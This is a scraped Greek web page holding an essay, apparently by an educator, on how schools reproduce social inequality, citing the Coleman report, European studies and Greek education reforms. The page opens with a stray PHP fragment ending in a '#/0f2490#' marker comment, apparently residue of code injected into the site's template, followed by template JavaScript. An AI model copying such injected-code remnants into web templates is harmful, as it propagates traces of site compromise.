"; echo $rd; } #/0f2490# ?>%'; var small='53%'; var altopen='είναι ανοικτό'; var altclose='είναι κλειστό'; var bildauf='/drallis/site/templates/beez_20/images/plus.png'; var bildzu='/drallis/site/templates/beez_20/images/minus.png'; var rightopen='Άνοιγμα πληροφοριών'; var rightclose='Κλείσιμο πληροφοριών'; var fontSizeTitle='Μέγεθος γραμματοσειράς'; var bigger='Μεγαλύτερο'; var reset='Μηδένισε'; var smaller='Μικρότερο'; var biggerTitle='Αύξηση μεγέθους'; var resetTitle='Επαναφορά του προεπιλεγμένου ύφους'; var smallerTitle='Μείωση μεγέθους';

Home

ΑΝΙΣΟΤΗΤΑ ΚΑΙ ΣΧΟΛΕΙΟ

 

Η αναπαραγωγή της κοινωνικής ανισότητας στα σχολεία

 

 Η ανακάλυψη της σχέση σχολικής επίδοσης και κοινωνικής καταγωγής  ξεκίνησε από τις Η.Π.Α εξαιτίας της συσσωρευμένης αγανάκτησης των Μαύρων  Αμερικανών και γενικότερα των μειονοτήτων που ζητούσαν καλύτερες συνθήκες διαβίωσης και φυσικά εκπαιδευτικές   ευκαιρίες. Η έκθεση Κόουλμαν προσπάθησε να ερευνήσει τα αίτια μαζικής αποτυχίας των μαύρων παιδιών και των μειονοτήτων. Τα συμπεράσματα ήταν ανατρεπτικά για εκείνη την εποχή και ήταν μια μεγάλη αφορμή για να ανοίξει ένα μεγάλο κεφάλαιο ερευνών για την σχέση κοινωνικής καταγωγής και σχολικής επίδοσης.

Οι έρευνες που ακολούθησαν στην Ευρώπη και κυρίως στην Αγγλία και στην Γαλλία κατέδειξαν το ίδιο πράγμα. Και στην Αγγλία και στην Γαλλία παρατηρείται μαζική αποτυχία παιδιών που προέρχονται από οικογένειες αγροτών και εργατών και μόνο λίγοι από αυτούς τους μαθητές καταφέρνει  να εισαχθεί στην τριτοβάθμια εκπαίδευση.

Στην Ελλάδα τα στοιχεία αποδεικνύουν αυτό που και οι έρευνες έχουν καταδείξει στην υπόλοιπη  Ευρώπη την άμεση  σχέση δηλαδή κοινωνικής καταγωγής και επίδοσης μαθητών αν και τα στοιχεία είναι περιορισμένα εξαιτίας  της αργής εξέλιξης προς το «καθολικό σχολείο» μετά την μεταρρύθμιση Παπανούτσου το 1964 αλλά και των πολιτικών και οικονομικών ανακατατάξεων. Πάντως τα παιδιά των κατώτερων κοινωνικών τάξεων έχουν να αντιμετωπίσουν και ένα επιπλέον πρόβλημα καθώς ομιλούν την δημοτική γλώσσα ενώ το επίσημο εκπαιδευτικό σύστημα και η ανώτερη τάξη χρησιμοποιεί  την καθαρεύουσα ώστε να μην μπορούν να  παρακολουθήσουν απρόσκοπτα τα μαθήματα.

Σε έρευνες που διεξήχθησαν στην δεκαετία του 1970 (Παπακωνσταντίνου 1981 , Μυλωνάς 1998,) σε Δημοτικό και Γυμνάσιο μέτριες έως κακές επιδόσεις  εμφανίζουν κυρίως  οι μαθητές  που προέρχονται από χαμηλά  κοινωνικά στρωματά ενώ το αντίθετο από υψηλά  κοινωνικά στρώματα. Βέβαια  από τα παραπάνω στρώματα οι μαθητές δεν έχουν μόνο κακή επίδοση αλλά σε μεγάλο ποσοστό εγκαταλείπουν το υποχρεωτικό σχολείο και ότι στο σύνολο τους τα παιδιά των εργατών και των αγροτών επιλέγουν κυρίως τα τεχνικά επαγγελματικά λύκεια.

Αυτό το φαινόμενο στροφής δηλαδή των κατώτερων κοινωνικών στρωμάτων  προς τα ΤΕΕ αντί των Ενιαίων Λυκείων γίνεται έντονο σήμερα μετά την μεταρρύθμιση Αρσένη καθώς οι επαναλαμβανόμενες εξετάσεις στην Β΄ και Γ΄ Λυκείου οδηγούν τα παιδιά που έχουν μαθησιακές δυσκολίες να ακολουθήσουν τα ΤΕΕ. Έτσι τα ΤΕΕ κατακλύζονται από παιδιά εργατών και αγροτών που δεν έχουν «την ικανότητα» κατά το εκπαιδευτικό σύστημα να οδηγηθούν στην Ανώτερη εκπαίδευση παρά μόνο στην τεχνική επαγγελματική.

Ακόμα και σε έρευνα για το ποια παιδιά αντιμετωπίζουν δυσκολίες μάθησης από στατιστικές για τα προγράμματα  «ενισχυτικής διδασκαλίας» καταλήγουμε στο συμπέρασμα ότι αυτά είναι πιο αυξημένα στις υποβαθμισμένες συνοικίες(Παιδαγωγικό Ινστιτούτο).

Άρα τα παιδιά των χαμηλότερων κοινωνικών στρωμάτων από επιστημονικές έρευνες σε όλες τις χώρες έχουν χαμηλή επίδοση και μαθησιακές δυσκολίες πράγμα που δίνει την άμεση σύνδεση επίδοσης και σχολικής καταγωγής.

Περισσότερα στοιχεία έχουμε και για την Ανώτατη εκπαίδευση. Έρευνες που διεξήχθησαν πριν το 1999  δείχνουν ότι τα ποσοστά των φοιτητών που προέρχονται από γονείς με επαγγέλματα υψηλού κύρους καταλαμβάνουν πολύ περισσότερες θέσεις από αυτών που προέρχονται από κατώτερες κοινωνικά τάξεις.(68% από την ανώτερη , 25,4% από τη μέση , 8,3% από την κατώτερη). Ακόμα και τα πιο ικανά παιδιά των αγροτών αποφεύγουν πολλές φορές την οδό της ανώτατης εκπαίδευσης περιορίζοντας τις προσδοκίες τους στο κοινωνικό πρότυπο που τους θεωρεί ικανούς για ορισμένα επαγγέλματα(Μυλωνάς 1998). Σαφώς λοιπόν επιβεβαιώνεται επιστημονικά πλέον η άμεση σχέση σχολικής επίδοσης και κοινωνικής καταγωγής.

Όλες οι παραπάνω έρευνες που διεξήχθησαν στην εικοσαετία 1950-1970 κυρίως με την ανάπτυξη της κοινωνιολογίας της εκπαίδευσης  ανέτρεψαν την παραδοχή για τα αίτια της καλής και κακής σχολικής επίδοσης. Μέχρι τότε υπήρχε η πεποίθηση (το ίδιο πρέσβευε και η μεταρρύθμιση Παπανούτσου) ότι η πρόοδος στα γράμματα εξαρτάται από ατομικούς παράγοντες. Η κοινωνιολογία της εκπαίδευσης από το 1960 με τις διάφορες έρευνες ανέτρεψε την παραδοχή ότι  η  κακή επίδοση  των μαθητών οφειλόταν στην έλλειψη φυσικών , διανοητικών ικανοτήτων τις οποίες κατείχαν κυρίως τα ανώτερα κοινωνικά στρώματα και λιγότερο τα κατώτερα κοινωνικά στρώματα. Διαπιστώνουμε επίσης ότι  οι χειρότερες υλικοτεχνικές συνθήκες και οι οικονομικές παροχές δεν αρκούν για να ερμηνεύσουν την πιστή αναπαραγωγή της κοινωνικής ανισότητας μέσα στο σχολείο.

Η κοινωνική ανισότητα σχετίζεται ευρύτερα με τις αντιλήψεις των εκπαιδευτικών , τις διδακτικές μεθόδους και το περιεχόμενο των σχολικών γνώσεων που καθιστούν υπεύθυνο το εκπαιδευτικό σύστημα. Η επίδοση των μαθητών έχει κοινωνική καταγωγή κι αυτή αναπαράγεται μέσα στην τάξη από το υπάρχον κοινωνικό σύστημα.

Ρ. Δ